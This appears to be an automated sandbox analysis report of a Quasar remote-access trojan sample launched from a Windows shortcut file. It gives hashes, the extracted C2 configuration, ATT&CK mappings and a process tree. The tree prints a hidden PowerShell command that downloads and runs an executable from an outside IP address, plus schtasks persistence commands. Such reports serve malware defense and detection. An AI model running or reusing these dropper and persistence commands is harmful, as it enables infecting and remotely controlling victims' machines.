quasar | 184d7427be227ca0505c4baf5a9d3756534f399b052309e19ba819d06d03a543

Analysis

max time kernel
149s
max time network
150s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
02-11-2024 02:50

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General

Target

184d7427be227ca0505c4baf5a9d3756534f399b052309e19ba819d06d03a543.lnk
Size

2KB
MD5

4a98c5bbf1a94992ec72858d3327a28e
SHA1

0fa914c44bdcb63d3631d5ec30cebb5047d12c7a
SHA256

184d7427be227ca0505c4baf5a9d3756534f399b052309e19ba819d06d03a543
SHA512

e60fb58d1f141d3c2ea99bf39d3b0dd872bebc05efa0cfa630e783f4d90b624084988c66621adc4d7dc6434b1c707d1d6c7c1f36ee2fa2e36fefc47b9a7d6ba7

Score

10^/10

quasar vtroy discovery execution spyware trojan

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://45.149.241.169:5336/ghsjfsgfjsyhsfhzgbdfbgzgfb/yugygfyjsbdfoesrjfzbhffbserhbwdewbrtsnbdjkfbrhjgvghvhgvhgvhgvHfgcNchgfcnhchgchgcnGfcngcgdcngchcngch/jhbhfbjadhghjvgfcxhhfcjtgvkhdfskjdkbzhdfhmzdkydbfvhzdfjgvhzvg/tfvjtcfgchgcgcHcgcftjcgtygvgFtrdcjfcgkhvGcjfcxhfcjgVK/chfgcx.exe

Extracted

Family

quasar

Version

1.3.0.0

Botnet

VTROY

31.13.224.12:61512

31.13.224.13:61513

Mutex

QSR_MUTEX_4Q2rJqiVyC7hohzbjx

Attributes

encryption_key
7Vp2dMCHrMjJthQ2Elyy
install_name
downloads.exe
log_directory
Logs
reconnect_delay
5000
startup_key
cssrse.exe
subdirectory
downloadupdates

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1148-62-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar
behavioral1/memory/1148-61-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar
behavioral1/memory/1148-58-0x0000000000400000-0x000000000045E000-memory.dmp	family_quasar

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow	pid	Process
4	2820	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exe

pid	Process
2820	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 8 IoCs

Processes:

ujtjewc.exeujtjewc.exeujtjewc.exeujtjewc.exedownloads.exedownloads.exedownloads.exedownloads.exe

pid	Process
3016	ujtjewc.exe
1148	ujtjewc.exe
2280	ujtjewc.exe
992	ujtjewc.exe
1696	downloads.exe
1324	downloads.exe
2968	downloads.exe
2384	downloads.exe

Loads dropped DLL 4 IoCs

Processes:

ujtjewc.exeujtjewc.exe

pid	Process
3016	ujtjewc.exe
3016	ujtjewc.exe
3016	ujtjewc.exe
2280	ujtjewc.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
5	ip-api.com

Suspicious use of SetThreadContext 6 IoCs

Processes:

ujtjewc.exedownloads.exe

description	pid	Process	procid_target
PID 3016 set thread context of 1148	3016	ujtjewc.exe	33
PID 3016 set thread context of 2280	3016	ujtjewc.exe	34
PID 3016 set thread context of 992	3016	ujtjewc.exe	35
PID 1696 set thread context of 1324	1696	downloads.exe	40
PID 1696 set thread context of 2968	1696	downloads.exe	41
PID 1696 set thread context of 2384	1696	downloads.exe	42

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

ujtjewc.exedownloads.exeschtasks.exeujtjewc.exeujtjewc.exeujtjewc.exeschtasks.exedownloads.exedownloads.exedownloads.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ujtjewc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloads.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ujtjewc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ujtjewc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ujtjewc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloads.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloads.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	downloads.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

Processes:

schtasks.exeschtasks.exe

pid	Process
2004	schtasks.exe
1096	schtasks.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid	Process
2820	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

powershell.exeujtjewc.exeujtjewc.exedownloads.exedownloads.exe

description	pid	Process
Token: SeDebugPrivilege	2820	powershell.exe
Token: SeDebugPrivilege	3016	ujtjewc.exe
Token: SeDebugPrivilege	2280	ujtjewc.exe
Token: SeDebugPrivilege	1696	downloads.exe
Token: SeDebugPrivilege	2968	downloads.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exepowershell.exeujtjewc.exeujtjewc.exedownloads.exe

description	pid	Process	procid_target
PID 2372 wrote to memory of 2820	2372	cmd.exe	31
PID 2372 wrote to memory of 2820	2372	cmd.exe	31
PID 2372 wrote to memory of 2820	2372	cmd.exe	31
PID 2820 wrote to memory of 3016	2820	powershell.exe	32
PID 2820 wrote to memory of 3016	2820	powershell.exe	32
PID 2820 wrote to memory of 3016	2820	powershell.exe	32
PID 2820 wrote to memory of 3016	2820	powershell.exe	32
PID 3016 wrote to memory of 1148	3016	ujtjewc.exe	33
PID 3016 wrote to memory of 1148	3016	ujtjewc.exe	33
PID 3016 wrote to memory of 1148	3016	ujtjewc.exe	33
PID 3016 wrote to memory of 1148	3016	ujtjewc.exe	33
PID 3016 wrote to memory of 1148	3016	ujtjewc.exe	33
PID 3016 wrote to memory of 1148	3016	ujtjewc.exe	33
PID 3016 wrote to memory of 1148	3016	ujtjewc.exe	33
PID 3016 wrote to memory of 1148	3016	ujtjewc.exe	33
PID 3016 wrote to memory of 1148	3016	ujtjewc.exe	33
PID 3016 wrote to memory of 2280	3016	ujtjewc.exe	34
PID 3016 wrote to memory of 2280	3016	ujtjewc.exe	34
PID 3016 wrote to memory of 2280	3016	ujtjewc.exe	34
PID 3016 wrote to memory of 2280	3016	ujtjewc.exe	34
PID 3016 wrote to memory of 2280	3016	ujtjewc.exe	34
PID 3016 wrote to memory of 2280	3016	ujtjewc.exe	34
PID 3016 wrote to memory of 2280	3016	ujtjewc.exe	34
PID 3016 wrote to memory of 2280	3016	ujtjewc.exe	34
PID 3016 wrote to memory of 2280	3016	ujtjewc.exe	34
PID 3016 wrote to memory of 992	3016	ujtjewc.exe	35
PID 3016 wrote to memory of 992	3016	ujtjewc.exe	35
PID 3016 wrote to memory of 992	3016	ujtjewc.exe	35
PID 3016 wrote to memory of 992	3016	ujtjewc.exe	35
PID 3016 wrote to memory of 992	3016	ujtjewc.exe	35
PID 3016 wrote to memory of 992	3016	ujtjewc.exe	35
PID 3016 wrote to memory of 992	3016	ujtjewc.exe	35
PID 3016 wrote to memory of 992	3016	ujtjewc.exe	35
PID 3016 wrote to memory of 992	3016	ujtjewc.exe	35
PID 2280 wrote to memory of 2004	2280	ujtjewc.exe	37
PID 2280 wrote to memory of 2004	2280	ujtjewc.exe	37
PID 2280 wrote to memory of 2004	2280	ujtjewc.exe	37
PID 2280 wrote to memory of 2004	2280	ujtjewc.exe	37
PID 2280 wrote to memory of 1696	2280	ujtjewc.exe	39
PID 2280 wrote to memory of 1696	2280	ujtjewc.exe	39
PID 2280 wrote to memory of 1696	2280	ujtjewc.exe	39
PID 2280 wrote to memory of 1696	2280	ujtjewc.exe	39
PID 1696 wrote to memory of 1324	1696	downloads.exe	40
PID 1696 wrote to memory of 1324	1696	downloads.exe	40
PID 1696 wrote to memory of 1324	1696	downloads.exe	40
PID 1696 wrote to memory of 1324	1696	downloads.exe	40
PID 1696 wrote to memory of 1324	1696	downloads.exe	40
PID 1696 wrote to memory of 1324	1696	downloads.exe	40
PID 1696 wrote to memory of 1324	1696	downloads.exe	40
PID 1696 wrote to memory of 1324	1696	downloads.exe	40
PID 1696 wrote to memory of 1324	1696	downloads.exe	40
PID 1696 wrote to memory of 2968	1696	downloads.exe	41
PID 1696 wrote to memory of 2968	1696	downloads.exe	41
PID 1696 wrote to memory of 2968	1696	downloads.exe	41
PID 1696 wrote to memory of 2968	1696	downloads.exe	41
PID 1696 wrote to memory of 2968	1696	downloads.exe	41
PID 1696 wrote to memory of 2968	1696	downloads.exe	41
PID 1696 wrote to memory of 2968	1696	downloads.exe	41
PID 1696 wrote to memory of 2968	1696	downloads.exe	41
PID 1696 wrote to memory of 2968	1696	downloads.exe	41
PID 1696 wrote to memory of 2384	1696	downloads.exe	42
PID 1696 wrote to memory of 2384	1696	downloads.exe	42
PID 1696 wrote to memory of 2384	1696	downloads.exe	42
PID 1696 wrote to memory of 2384	1696	downloads.exe	42

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\184d7427be227ca0505c4baf5a9d3756534f399b052309e19ba819d06d03a543.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle hIdDEn Hiddden -Command OpenWith.exe;(new-object System.Net.WebClient).DownloadFile('http://45.149.241.169:5336/ghsjfsgfjsyhsfhzgbdfbgzgfb/yugygfyjsbdfoesrjfzbhffbserhbwdewbrtsnbdjkfbrhjgvghvhgvhgvhgvHfgcNchgfcnhchgchgcnGfcngcgdcngchcngch/jhbhfbjadhghjvgfcxhhfcjtgvkhdfskjdkbzhdfhmzdkydbfvhzdfjgvhzvg/tfvjtcfgchgcgcHcgcftjcgtygvgFtrdcjfcgkhvGcjfcxhfcjgVK/chfgcx.exe','ujtjewc.exe');./'ujtjewc.exe';(get-item 'ujtjewc.exe').Attributes += 'Hidden';
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2820
- - C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe
    "C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3016
  - - C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe
      C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1148
  - - C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe
      C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2280
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "cssrse.exe" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe" /rl HIGHEST /f
        5⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2004
    - - C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        
        "C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1696
      - C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        
        C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1324
      - C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        
        C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:2968
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "schtasks" /create /tn "cssrse.exe" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe" /rl HIGHEST /f
        7⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:1096
      - C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        
        C:\Users\Admin\AppData\Roaming\downloadupdates\downloads.exe
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2384
  - - C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe
      C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:992

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\ujtjewc.exe

Filesize
774KB

MD5
b8fc2efcc33d3160f38fcb6b39319e6a

SHA1
a61413a5b6c19b4a388e6c89aaa9304c657b3e08

SHA256
3df20b1c9806c327d72824f1b9a4ffcbe702d152fbf11fca42a36c862cbafd0a

SHA512
ba4ef7ec5dd7b9ad8ec49ef73315bded8ecc72212b11e3a1384b6d4f3f264867312cda41268a8d1df6fc8c3caa63813c15aa4ff29f0324360a95d59de3456d3b

Download Submit
memory/1148-58-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/1148-61-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/1148-62-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/1696-78-0x0000000000F50000-0x000000000101A000-memory.dmp

Filesize
808KB

Download
memory/2820-46-0x000007FEF5E00000-0x000007FEF679D000-memory.dmp

Filesize
9.6MB

Download
memory/2820-39-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/2820-45-0x000007FEF5E00000-0x000007FEF679D000-memory.dmp

Filesize
9.6MB

Download
memory/2820-38-0x000007FEF60BE000-0x000007FEF60BF000-memory.dmp

Filesize
4KB

Download
memory/2820-44-0x000007FEF5E00000-0x000007FEF679D000-memory.dmp

Filesize
9.6MB

Download
memory/2820-55-0x000007FEF5E00000-0x000007FEF679D000-memory.dmp

Filesize
9.6MB

Download
memory/2820-43-0x000007FEF5E00000-0x000007FEF679D000-memory.dmp

Filesize
9.6MB

Download
memory/2820-42-0x000007FEF5E00000-0x000007FEF679D000-memory.dmp

Filesize
9.6MB

Download
memory/2820-41-0x000007FEF5E00000-0x000007FEF679D000-memory.dmp

Filesize
9.6MB

Download
memory/2820-40-0x0000000002880000-0x0000000002888000-memory.dmp

Filesize
32KB

Download
memory/3016-54-0x0000000001310000-0x00000000013DA000-memory.dmp

Filesize
808KB

Download
memory/3016-56-0x00000000048F0000-0x00000000049DE000-memory.dmp

Filesize
952KB

Download